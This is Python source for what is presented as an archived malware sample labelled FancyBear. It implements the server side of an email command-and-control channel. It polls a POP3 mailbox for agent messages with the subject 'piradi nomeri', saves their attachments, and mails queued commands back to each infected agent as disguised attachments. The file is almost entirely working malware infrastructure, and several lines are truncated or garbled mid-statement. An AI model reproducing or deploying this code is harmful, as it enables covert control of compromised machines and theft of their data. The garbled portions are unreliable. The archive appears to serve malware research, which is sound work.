# ------------------------------------------------------------ # name FancyBear # type exploit # cve — # year unknown # os Windows # authors unknown # source RamadhanAmizudin/malware # archived RamadhanAmizudin, krisyotam (2026) # notes — # ------------------------------------------------------------ import time import poplib import smtplib import email import binascii import struct import base64 import XABase64 import socket import re from datetime import datetime from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from settings import P2_Scheme, P3_Scheme, LocalStorage, ServerLogger, \ POP3_MAIL_IP, POP3_PORT, SMTP_MAIL_IP, SMTP_PORT, \ POP3_ADDR, POP3_PASS, SMTP_FROM_ADDR, SMTP_PASS, SMTP_TO_ADDR class MailServer(object): def __init__(self, p2_scheme, p3_scheme, local_storage, logger): self.LocalStorage = local_storage self.P2Scheme = p2_scheme self.P3Scheme = p3_scheme self.Logger = logger #get data from MailServer, save to fs def isCurrentMsg(self, msg): if msg['Subject'] == 'piradi nomeri': return 1 print 'message doesn\'t have \'piradi nomeri\'' return 0 def deleteMsg(self, pop, numOfMsg): try: pop.dele(numOfMsg) except poplib.error_proto, e: print 'ERROR: %s'%e #pop.quit() return 0 #pop.quit() return 1 def getAgentIP(self, received): pattern_ip = re.compile('\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}') ip = re.findall(pattern_ip, received) if ip is None: return '' return ip[len(ip)-1] def recv_mail(self): print 'POP3: recv_mail' pop = None try: pop = poplib.POP3_SSL(POP3_MAIL_IP, POP3_PORT) except (poplib.error_proto, socket.error) as e: print 'POP3: ERROR: %s : %s'%(POP3_MAIL_IP,e) time.sleep(20) if pop == None: return try: pop.user(POP3_ADDR) pop.pass_(POP3_PASS) except poplib.error_proto, e: print 'POP3: ERROR: %s : %s'%(POP3_ADDR, e) time.sleep(20) if pop.stat()[0] == 0: print 'POP3: no messages' pop.quit() time.sleep(1) #long sleep return for i in xrange( 1,len(pop.list()[1])+1 ): print 'NUM: %d'%i status, lines, octets = pop.retr(i) msg = email.message_from_string('\n'.join(lines)) #->> P2: validate_subject if self.isCurrentMsg( msg ) == 0: self.deleteMsg(pop, i) #pop.quit() continue ip = self.getAgentIP( msg.get_all('Received')[2] ) timestamp = msg.get('Date') for part in msg.walk(): if part.get_content_type(): if part.get_content_type() == "application/octet-stream": body = part.get_payload(decode=True) if body is not None: agent_id = struct.unpack('> P2: generate_subject #token_aid = self.P2Scheme.subj_token + struct.pack(">> send command for " + str(agent_id) + "[cmd_size: " + str(len(res_body)) + "]") # init smtp message msg = MIMEMultipart('alternative') msg['Date'] = datetime.utcnow().isoformat() msg['Subject'] = 'piradi nomeri' # b64subj msg['From'] = SMTP_FROM_ADDR msg['To'] = SMTP_TO_ADDR # load attach _attach = MIMEBase('application', 'octet-stream') _attach.set_payload(res_body) # _rand_filename = XABase64.random_string(XABase64.generate_int(5, 9)) + '.' + \ # XABase64.random_string(XABase64.generate_int(2, 4)) _attach.add_header('Content-Disposition', 'attachment', filename='detaluri_%s.dat'%time.strftime("%d%m%Y%H%M")) # text _text = MIMEText('gamarjoba') msg.attach(_text) msg.attach(_attach) ret = smtp.sendmail(SMTP_FROM_ADDR, [SMTP_TO_ADDR], msg.as_string()) print 'SMTP: Data %s ia sent'%res_body smtp.quit() time.sleep(0.1) if __name__ == '__main__': mail = MailServer(p2_scheme=P2_Scheme, p3_scheme=P3_Scheme, local_storage=LocalStorage, logger=ServerLogger) while 1: #recive mail from mail server mail.recv_mail() #send mail to mail server agents_list = LocalStorage.get_agents_list() for agent_id in agents_list: mail.send_mail(agent_id)